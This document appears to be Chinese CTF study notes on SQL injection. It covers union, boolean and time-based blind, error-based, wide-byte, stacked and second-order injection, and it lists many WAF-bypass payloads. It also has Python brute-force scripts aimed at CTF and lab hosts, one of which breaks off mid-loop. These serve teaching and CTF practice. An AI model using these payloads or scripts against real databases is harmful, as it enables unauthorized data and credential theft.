sql注入
一、sql注入解题技巧
解题流程
提示:先找到回显点,如果有回显按照如下步骤获取信息
①找字段数
②查库名
③查表名
④查字段
⑤查内容
-- 查版本
and 1=2 union select 1,version()
#原理:and 1=2显然不成立,则不会执行页面的正常select语句,这时再使用联合查询,页面就只会执行union后面的内容,保证页面只显示我们需要的信息,也就是数据库版本version()
-- 查数据库名(所有)
and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)200;
group_concat(字段) -- 他会将字段下的所有内容连接成一个字符串
#原理:基本同上,只是用到了information_schema数据库中的schemata表,这个表包含了所有数据库(schema)的信息(information),比如这里的schema_name字段下就包含了所有数据库的名字
-- 当前数据库
and 1=2 union select 1,database();
-- 查表名(all)
and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database());
#原理:information_schema.tables表中是所有表的信息,table_name字段下是所有表的名字。该语句会查询当前数据库中所有表的名字
-- 查字段名
and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin');
#原理:information_schema.columns表中是所有字段(columns)的信息,column_name字段下是所有字段名字,该语句会查询当前数据库表名为'admin'的所有字段名
-- 查字段内容
and 1=2 union select 1,(select concat(username,',',password) from admin);
注意报错:
1.Error Code: 1242. Subquery returns more than 1 row
当你在查询中使用了子查询,并且这个子查询返回了多个结果(多于一行),而你尝试将这个结果与主查询的其他部分进行比较或处理时,就会发生这个错误。
技巧拆解
①判断注入点:
select * from test.t1 where name='1'or 1=1 ;#';
②判断表的字段数:
select * from test.t1 order by +1到n(直到发现异常,记录此时的n,则说明表中共有n-1个字段)
select * from test.t1 where id=1 union select 1,1...,1(不断增加1的个数,直到页面正常,则此时1的个数就是字段数)
③判断回显:
-- 有些页面只会调取部分数据库中的信息回显,这时可以通过limit来切换显示的内容
select ... limit x,1-n (从1开始到n,直到页面不在发生变化,此时n就是页面会显示多少条内容,改变x来切换到想看的内容)
④绕过
最基础绕过:
'#'在网页编码时会报错,可以用%23代替,也可以用--+代替
其他绕过技巧:
1.注释符号绕过
-- 注释内容
# 注释内容
/*注释内容*/
;
2.大小写绕过
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,区分大小写。
UniOn
SeleCt
3.内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
select * from cms_users where userid=1 union /*!select*/ 1,2,3;
4.双写绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求
" admin' && 1=2 ununionion selselectect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3# "
5.编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过:
① 1+and+1=2两次url全编码:1+%25%36%31%25%36%65%25%36%34+1=2
# php脚本:
<?php
function ue($str) {
$encoded = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$char = $str[$i];
$encoded .= '%' . strtoupper(dechex(ord($char)));
}
return $encoded;
}
$str = "xxx";
$encoded_str = ue(ue($str));
echo $encoded_str;
② ascii编码绕过:Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
③ 16进制绕过:select * from users where username = test1;
select * from users where username = 0x7465737431;
2进制绕过 select * from article where id = 0b1111101000;
④ unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
6.<>大于小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。
greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;
7.空格绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮) #只能用在字段两侧
tap
两个空格
%09
8.对or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
sql_mode=PIPES_AS_CONCAT来转换操作符的作用
mssql中||表示连接操作符,不表示或的逻辑。(MySQL连接字符操作符是一种特殊的符号,用于连接两个字符串。在MySQL中,连接字符操作符通常表示为“||”,“+”或“CONCAT”函数。)
set sql_mode=PIPES_AS_CONCAT(改变||的作用)
9.除号绕过
sql 中除号的另外一种写法绕过(div) 比如:500 div 0.5 = 1000
10.对单引号的绕过
使用十六进制
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:select column_name from information_schema.tables where table_name="users"
遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
其他方法:宽字节
11.对逗号的绕过
sql盲注时常用到以下的函数:
---substr():
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
substring()用法和substr()一样
----mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
---left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
---limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
---ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符
#对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
12.过滤函数绕过
https://blog.csdn.net/weixin_42478365/article/details/119300607
3.报错
SQLSTATE
常用函数:
计算类
-- 函数:
avg('字段')----平均数
sum('字段')------求和
max/min('字段')------求最值
distinct ('字段')-----去除重复项
count('字段')----计算字段下的行数
-- 其他
round() ---- 对某个数值(字段)保留指定小数位数(四舍五入)
语法:round(value,n)
参数说明
value:数值。可为储存数值的字段。
n:小数点位数,为自然数。
说明:①用法与excel的round函数相似。
②数值四舍五入,不够用0来凑。
例子:
#保留2301.15476的两位小数。
select round(2301.15476,2)
#结果为=》2301.15
字符类
sleep函数:sleep(t)运行时延迟t秒输出页面内容。
substr('xxx',i,n) 分割字符串函数:(替代函数mid('xxx',i,n))(类似函数left('xxx',n)从左往右截取n个字符)。函数表示从字符串第i个字符开始,取n个字符然后输出,如果不写n的值则默认输出到最后。
length('xxx'):查询字符串长度。
ascii('x'):返回一个字符的ascii码(替代函数:ord('x'))。
绕过技巧
题目可能会过滤很多常用符号,使得注入变得困难,随意掌握一些注入技巧非常重要,下面是多个过滤情景下该使用什么方法:
空格等分割符过滤
这种情况一般是过滤了空格、tab、回车、/**/、()等用于分割关键词的符号
思路:使用不需要分割符的指令,比如逻辑符号:||、 && 、^ 、|、!等 (使用异或(^)可以配合if语句做盲注)
1'||1=1
1'&&1=1
1^sleep(5)
反引号绕过:
(反引号使用范围只于表名、数据库名、字段名、起别名这些场景)
select`table_name`from information_schema.tables where`table_schema`=database() limit 1,1;
#这里的 table_name、table_schema都是字段可以用反引号,可以其他地方就不行了,因此该方法有局限性
#解决方法,可以配合括号使用,括号本身就是分隔符,所以limit可以直接卸载database()后,不加空格
select`table_name`from(information_schema.tables)where`table_schema`=database()limit 1,1;
括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
等号绕过
使用like,regexp,>或者<号来绕过:
regexp
是 MySQL 中用于正则表达式匹配的操作符,它允许你在查询中使用正则表达式来进行复杂的字符串匹配。regexp
可以在 where
子句中使用。
语法:
SELECT column_name
FROM table_name
WHERE column_name REGEXP 'pattern';
二、注入技巧
类型判断:
①数字型:查询语句中条件判断的注入点为整型
②字符型:查询语句中条件判断的注入点为字符型
一般字符型也分为单引号注入和双引号注入,闭合方式不同
括号闭合:
有些题目除了在参数外加引号外还会加括号,例如:
select ... where id = ('$id');
因此闭合时应该是:?id= 1')#
GET型注入:
输入?id=1 正常回显
输入?id=1'
任然正常回显
输入?id=1"
报错:位置在【 "1"") limit 0,1 】处,说明语句为:
select ... where id = ("$id") limit 0,1;
闭合方式:?id=1")--+
POST型注入:
什么事post注入?
答:根据网页传递参数的方式为post,注入点在post数据包中就是post型注入。
使用burp抓包,得到了post数据包
将数据包放到【repeater】中
【send】:在应答包中显示【该用户不存在或账户未激活】的提示信息
判断注入点已经注入类型:
说明存在该注入点,且注入类型是字符类型(加入单引号闭合,出现报错,说明不是字符型)
接下来就是判断字段数,判断数据库名称,表名,字段名等等信息
cookie注入:
什么事cookie注入?
该页面的数据库管理系统为access数据库,第一步还是判断注入点:id=171数字型
用order by判断出字段数为10
用联合注入,找出回显点:
-- access联合查询与mysql不同
select * from aboutus where id=1 union select 1,...,1 from admin
# access默认将union后的查询内容放在表的最前面(mysql是最后面)
exists(select xxx from admin)
# 判断admin表中的xxx字段是否存在
但是页面有拦截
右键页面检查,找到存储里的cookie,修改里面的名称和值,比如刚才的id=171
刷新页面:出现id=171的信息,说明网站可以cookie传参数
这样操作比较繁琐,火狐浏览器中有cookie插件可以帮助简单化这个过程 cookie quick manager
(Domains下是域名,Cookie下是选中域名的cookie,Details下可以上传cookie信息)
注意输入命令时要用加号代替空格,否则可能出现一些问题
由此可以确认回显点显示的位置,比如数字7和8的位置分别在,发布者和发布时间后
查询用户名和密码字段
密码好像有加密(MD5)
放入解密网站中解密 CMD5
盲注
布尔盲注:
联合注入是需要页面有回显位,如果数据不显示只有对错页面显示我们可以选择布尔盲注。
布尔盲注主要用到length(),ascii() ,substr()
这三个函数
-- 注意:布尔盲注适合页面对于错误和正确结果有不同反应的题目
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
python盲注脚本
import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
#time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id':payload.format(m=i,n=j)}) #这里是post提交
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
时间盲注:
特点:无回显、无报错。
页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数
用法:sleep(t)运行时延迟t秒输出页面内容
select * from test.t1;
select * from test.t1 where name='张三' or sleep(1);
# t1表中有4条数据,我们用or添加sleep函数表示如果name!='张三'则延迟1秒,所以会延迟3秒,因此我们断定有三条信息不符合name='张三'
select * from test.t1 where name='张三' and sleep(1);
# 语句执行后name=’张三‘有值则延迟1秒,否则不延迟。以此判断盲注时条件是否成立。
if条件判断:
if(expr1,expr2,expr3)
expr1值为TRUE,则返回值为expr2
expr1值为FALSE,则返回值为expr3
?id=1' and if(1=1,sleep(5),1)--+
用法:
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1) --+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
用python写脚本:
构造payload
payload=url+"?title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i,j)
绕过sleep过滤
BENCHMARK
是一个用于测试表达式或函数性能的 SQL 函数。它可以通过重复执行某个表达式指定次数来衡量该表达式的执行效率。可以用来替代sleep函数
benchmark(count, expression);
#例如:
select benchmark(1000000, 1+1); #这个例子会执行 1 + 1 1000000 次,返回值为 0(因为它只用于测试执行时间)。
异或盲注
异或符号是 xor 或者 ^
数字与数字:
1^1 ----------------------0 0^0 ---------------------------------0
1^0 ----------------------1
字符与字符:字符中如果没有数字或者数字在字母后面在比较时都会转为数字0
- '1admin'=1
- '12admin'=12
- 'admin'=0
- 'admin12'=0
数字与字符:将字符转为数字进行异或操作
数字与bool:true为1,false为0
原理:利用异或特性,根据返回值的 0/1 来进行盲注
-- 利用if()函数返回值进行异或盲注
select * from users where id=1^if(盲注判断点,0,1);
-- 利用其他函数或表达式(等式、不等式、大于小于)返回bool值判断
select * from users where id=1^(length(database())!=5);
select * from users where id=1^(substr(database(),1,1)!='a');
下面是一个sql盲注二分法的高效python脚本,不同题目稍加修改即可使用
# coding=utf-8
# 该例子是id字符型注入,采用二分法计算
import requests
i =0
url = "http://10.21.228.59/sqli-labs-master/Less-8/"
result = ""
for k in range (0,10):
for j in range (1,100):
l = 32
r = 128
mid = (l+r)>>1
while (l <r ):
# 爆表名
#payload ="?id=0'^(ascii(substr(database(),{0},1))>{1})%23".format(j,mid)
# 爆库名
#payload = "?id=0'^(ascii(substr((select`table_name`from(information_schema.tables)where`table_schema`=database() limit {2},1),{0},1))>{1})%23".format(j, mid,k)
# 爆字段
payload = "?id=0'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})%23".format(
j, mid, k)
#payload = "?id=0'^(ascii(substr((select * from users.usrname limit {2},1),{0},1)>{1}))%23".format(j,mid,k)
response = requests.get(url+payload)
if "You are in" in response.text: #正常回显(ture)的页面关键字
l = mid + 1
#print(payload) #查看payload
#print(response.text) #查看回显
i +=1
else :
r = mid
mid = (l +r )>>1
if (chr(mid) == " "):
result = result + '\n'
break
result = result + chr(mid)
#print(result)
print(i)
print(result)
报错注入:
extractvalue报错注入:
语法格式:
extractvalue(XML_document,XPath_string)
原理:
当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中,第一个参数随意即可
举例:
select extractvalue(1,concat('~',database(),'~'));
使用concat函数连接特殊符号’~‘与database(),是extractvalue函数报错并显示database()
结果返回了:Error Code: 1105. XPATH syntax error: 'test' (test就是数据库的名字了)
注意:使用特殊符号时可以使用 “,"、“~”、“?”、“\” 等,由于涉及到特殊字符在传输过程中的转义等情况,建议使用十六进制表示,比如说:"~"可以用0x7e替代,“\”可以使用0x5c代替
实战模板:(与extractvalue类似的有updatexml函数,同样是第二个参数报错,区别在于updatexml需要三个参数)
-- extractvalue(XML_document,XPath_string)
-- 爆版本
a' and (extractvalue(1,concat(0x5c,version(),0x5c)))# '
-- 爆数据库
a' and (extractvalue(1,concat(0x5c,database(),0x5c)))# '
-- 爆表名
a' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# '
-- 爆字段名
a' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# '
-- 爆字段内容该格式针对mysql数据库
a' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# '
-- 爆字段内容
a' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# '
-- 这段注入方式可以有效应对关键词过滤(0x7e相当于~,0x5c相当于\,都属于一种非法路径,这里用十六进制防止过滤)
-- updatexml(XML_document, XPath_string, new_value)
-- 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
1.数据库名
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#'
2.表名
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#'
-- 注意可能报错,more than one row
-- 解决方法,并列成一行 group_concat(table_name)
3.列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#'
4.flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#'
admin'or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1))#'
floor报错注入
语法:
floor(num)
作用:
floor函数的作用是向下取整,比如floor(2.6) 返回值为2
基础用法:
floor(rand(0)*2)
基本原理:
rand(int)可以生成一个01的小数,**每次执行结果都不同**,如果传入一个整型参数,相当于给了一个**随机种子**,那么执行结果就相同了,使用`rand(0)*2`就可以表示一个**结果固定**的02的数,再用floor取整,那么结果要么0,要么1,由于给了种子,那么0和1的排列就是固定的。
举例:
select floor(rand(0)*2) from your_table;
(由于student表有6条数据,所以查询结果随机数显示了六个,分别是011011这个0和1的顺序是固定的,每次查询都是这样的顺序)
报错原理:
前面都没有报错,接下来讲如何报错,我们需要结合group by
语句进行分组,并使用count(*)
统计分组的数量。最后我们的报错模板就是:select count(*),concat(0x23,(???),0x23,floor(rand(0)*2)) as x from test.table1 group by x;
首先,问号的部分就是我们想要显示的信息,比如填入database()来获取当前数据库名。
-- group by报错注入
1.爆数据库
and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
2.爆数据库版本
and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#
3.通过修改limit后面数字一个一个爆表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#
4.爆出所有表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#
5.爆出所有字段名
and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#
6.爆出所有字段名
and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#
7.爆出该账户的密码
and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#
https://blog.csdn.net/m0_53065491/article/details/121893986
宽字节注入
程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已。
宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。
相关的php函数 addslashes() #在单引号(')双引号(")反斜杠(\)NULL 前加反斜杠转义
1.%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成%df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的 ’ 符号在外面:
id=-1%df%27union select 1,user(),3--+
2.将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
(1).replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
(2).addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
堆叠注入
当注入点,可以执行多个sql命令时,我们可以通过分号分隔多个sql指令传入目标服务器
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
使用preg_match函数过滤了大量注入的关键字
堆叠注入:在一行中分别执行多个sql语句,不同语句用分号隔开
例:【()内为源代码,在网页中不显示】
(select*from xxx where id=)1';show databases;#
sql预编译
set用于设置变量名和值
set @a="123";
set @b=concat(@a,"a"); # @b = "123a"
set @c=concat(@b,"b"); # @c = "123ab"
select @a,@b,@c;
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例:
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
经典赛题:
sql_mode注入
sql_mode是一组语法校验规则,个人理解是它可以设定一些sql的语法规则,常见的几个sql_mode如下:
sql_mode的值 | 作用 |
---|---|
ONLY_FULL_GROUP_BY | 对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中 |
NO_ZERO_DATE | mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告 |
ERROR_FOR_DIVISION_BY_ZERO | 在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL |
PIPES_AS_CONCAT | 将 || 视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数concat相类似 |
ANSI_QUOTES | 不能用双引号来引用字符串,因为它被解释为识别符 |
这里引入一种sql注入的例子:
select $_POST['query'] || flag from flag;
注入带你就是POST变量query,正常情况下或表示逻辑运算,也就是说,($_POST['query'] || flag)
这相当于一个逻辑表达式,会有一个0或者1的结果,比如:
select 1 || 1 from flag;
# 返回一个表,行数等于flag表,内容为1
select 0 || 0 from flag;
# 返回一个表,行数等于flag表,内容为0
那么如果不是0或1而是字段名呢?
select flag1 || flag from flag;
#查询一个不存在的字段flag1,那么就会报错
select 0 || flag from flag;
#如果是数字和字段混合,那就先看字段是否存在,flag字段存在,相当于数字1,也就是 0||1
使用sql_mode修改逻辑符号的作用
当sql_mode的值为:PIPES_AS_CONCAT时,将 || 视为字符串的连接操作符而非或运算符,类似于concat
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from flag;
当然也有更简单的方法,就是直接使用逗号多加一个*
字段
select *,1 || flag from flag;
子查询
https://blog.csdn.net/LMY0210/article/details/126345475
脚本测试
例如--爆破库名:
get_database="?id=-1/**/or/**/ascii(substr(database()from/**/%s/**/for/**/1))=%s"
payload=URL+sql%(j,i)
sprintf注入
无列名SQL注入攻击
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据是来自information_schema和performance_chema,因其本身是无法存储数据的,所以可以通过其中的schema_auto_increment_columns来获取表名。其用法是:sys.schema_auto_increment_columns
注入mysql后在默认情况下可以替代information_schema库的方法
schema_auto_increment_columns:该视图的作用简单总结为用于对表自增的ID进行监控。
虚拟表格
(1)当我们 select 1,2,3 的时候,此时页面就如一个虚拟的表格,列名为1,2,3。
(2)我们查询列名为1,2,3的数据。
(3)第一行是我们所查询到的1,2,3后面所紧接的表中数据。
从虚拟表中查一列信息
select `2` from (select 1,2,3 union select * from student)a
将select 1,2,3的结果拼接到select * from student 的结果后提取第二列信息。select 1,2,3需要根据表的字段而定,也就是说当您进行查询时,语句的字段数必须保持和指定表中的字段数相同,不能增加或减少,否则将会出现报错告示。
语句的最后一个字母是别名,多表查询,或者查询的时候产生新的表时需要在语句末写别名,因为mysql要求每一个派生出来的表都必须有一个自己的别名:“as name”或者“name”,这里的"a"就是"name"
如图所示,您就可以查询到第二列的数据。在虚拟表中,列名均是1,2,3,所以我们在查询语句中不能直接使用 2,而是要使用 `2`, 只有通过此方式才能够获取到列名。
二次注入
二次注入是一种特殊的SQL注入攻击方式,其工作原理在于将用户的输入数据经过特定的处理后再存储到数据库中,最后再从数据库中将这个处理过的数据拿出来用于执行SQL查询语句。这种注入方式相比普通的SQL注入来说,具有更高的技术要求和利用门槛。在某些情况下,如果数据库未对存入的数据进行适当的过滤,并且允许这些数据以某种形式进入SQL查询语句中,那么二次注入可能就会被用来实现攻击。
例如,在一个SQL注入实验环境中,如果存在一个名为"admin"的用户,并且该用户拥有密码"admin",那么通过二次注入,攻击者可能会尝试更新这个用户的密码为自己的密码。这可以通过修改现有的SQL查询语句来实现,比如原来的语句可能是
`UPDATE users SET PASSWORD='$pass' WHERE username='$username' AND password='$curr_pass'`;
而通过二次注入,攻击者可以将用户名替换为一个特殊字符,如`admin'#`,从而使得更新的SQL查询语句变为
`UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass'`。
这样,当原用户尝试登录时,他们会发现他们的密码已经被更改了,但实际上这是由攻击者所为。
修改表结构
例题:supersqli
payload=1';rename table `words` to `a`;
rename table `1919810931114514` to `words`; alter table words add `id` int(5) auto_increment,add primary key(id); --+
三、实战
only one sql
考点:sql时间盲注
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
我的wp
思路:过滤了select,那么我就利用主键的唯一性,对表进行增删改,根据某些特点,比如表中信息是否被删除,来判断注入是否正确,最后爆破出正确的flag。
具体操作:
1.在不使用select的情况下,我们可以获取的信息有:
show databases # 查库
show tables # 查表
show columns from `table` # 查字段类型,或者用:desc table
show table status # 显示每个表的状态信息,可以查表中有几行内容
2.根据查询得出,flag在ctf库下的flag表中,flag表有两个字段,一个id,一个data。flag表只有一行内容,说明flag可能就在其中。
猜测flag表的内容:
____________________
|id | data |
|xxx | flag{xxx}|
————————————————————
3.为了避免修改关键信息,给表增加一个pri key (aid),同时给表设置成自增,更新第一条内容的aid为1
alter table flag add column aid int not null auto_increment,add primary key(aid)
UPDATE flag SET aid = 1
_________________________
aid |id | data |
1 |xxx | flag{xxx}|
—————————————————————————
4.然后爆破flag的长度,使用case语句,当flag的长度正确时,修改aid为2,否则不修改
UPDATE flag SET aid = CASE WHEN length(data)="爆破点" THEN 2 ELSE aid END
#假如长度错误
_________________________
aid |id | data |
1 |xxx | flag{xxx}|
—————————————————————————
#假如长度正确
_________________________
aid |id | data |
2 |xxx | flag{xxx}|
—————————————————————————
5.在表中插入一条数据,然后判断是否插入成功,即可知道flag的长度是否正确
insert into flag(aid,id,data) values(1,'1','1')
show table status # 查看表的行数即可知道是否插入成功
# 如果插入成功,说明爆破成功
_________________________
aid |id | data |
2 |xxx | flag{xxx}|
1 |1 | 1
—————————————————————————
6.同理可以爆破flag的每一个字符
UPDATE flag SET aid = CASE WHEN ascii(substr(data,'爆破点1',1))='爆破点2' THEN 2 ELSE aid END
insert into flag(id,data,aid) values('1','1',1)
7.python脚本
import requests
url = "http://challenge.basectf.fun:21711/"
word = "</code>没有select,让你执行一句又如何\n没有select,让你执行一句又如何"
data_length=0
id_length=0
data=''
id=''
def find_word(text, word):
# 找到关键词的位置
start_index = text.find(word)
if start_index == -1:
return None # 如果关键词不存在
# 获取关键词后的所有内容
content_after_keyword = text[start_index + len(word):]
return content_after_keyword
def send_sql_request(sql):
response = requests.get(url, params={'sql': sql})
return response.text
def get_response_text(sql):
text=find_word(send_sql_request(sql),word)
#print("sql响应信息:"+text)
return text
def has_keyword(response_text, keyword):
return keyword in response_text
def desc():
sql = "desc flag"
if has_keyword(send_sql_request(sql),'PRI'):
return 1
else:
return 0
def initialization():
sql = "alter table flag add column aid int not null auto_increment,add primary key(aid)"
send_sql_request(sql)
desc()
if get_row()==1 and desc():
sql = "UPDATE flag SET aid = 1"
send_sql_request(sql)
print("初始化完成")
else:
print("失败!!!!!!!!!!!!!!!!!!!!")
exit()
def get_row(printf=True):
sql = 'SHOW TABLE STATUS'
text = get_response_text(sql)
if text.find("Dynamic 1")!=-1:
if printf:
print("行数为1 in",text.find("Dynamic 1"))
return 1
elif text.find("Dynamic 2")!=-1:
if printf:
print("行数为2 in",text.find("Dynamic 2"))
return 2
else:
if printf:
print("行数error",text.find("Dynamic 1"),text.find("Dynamic 2"))
return 0
def delete():
sql = "delete from flag where aid=1"
send_sql_request(sql)
def reload():
if get_row(False)==2:
delete()
sql = "UPDATE flag SET aid = 1"
send_sql_request(sql)
if get_row(False)==1:
print("重置行数成功")
else:
exit("重置行数失败")
else:
exit("行数不为2,不能重置")
def check_length(Field):
for i in range(100):
if get_row(False) != 1:
exit("行数未初始化")
sql = f"UPDATE flag SET aid = CASE WHEN length({Field})={i} THEN 2 ELSE aid END"
send_sql_request(sql)
sql = "insert into flag(id,data,aid) values('1','1',1)"
send_sql_request(sql)
if get_row() == 2:
print(f"{Field}的长度为{i}")
if Field == 'data':
data_length=i
return data_length
else:
id_length=i
return id_length
reload()
break
else:
print(f"错误!{Field}长度不为{i}")
def check_chr(Field,data):
for i in range(25,data_length):
for j in range(32,126): #可打印字符的范围是从 32 到 126
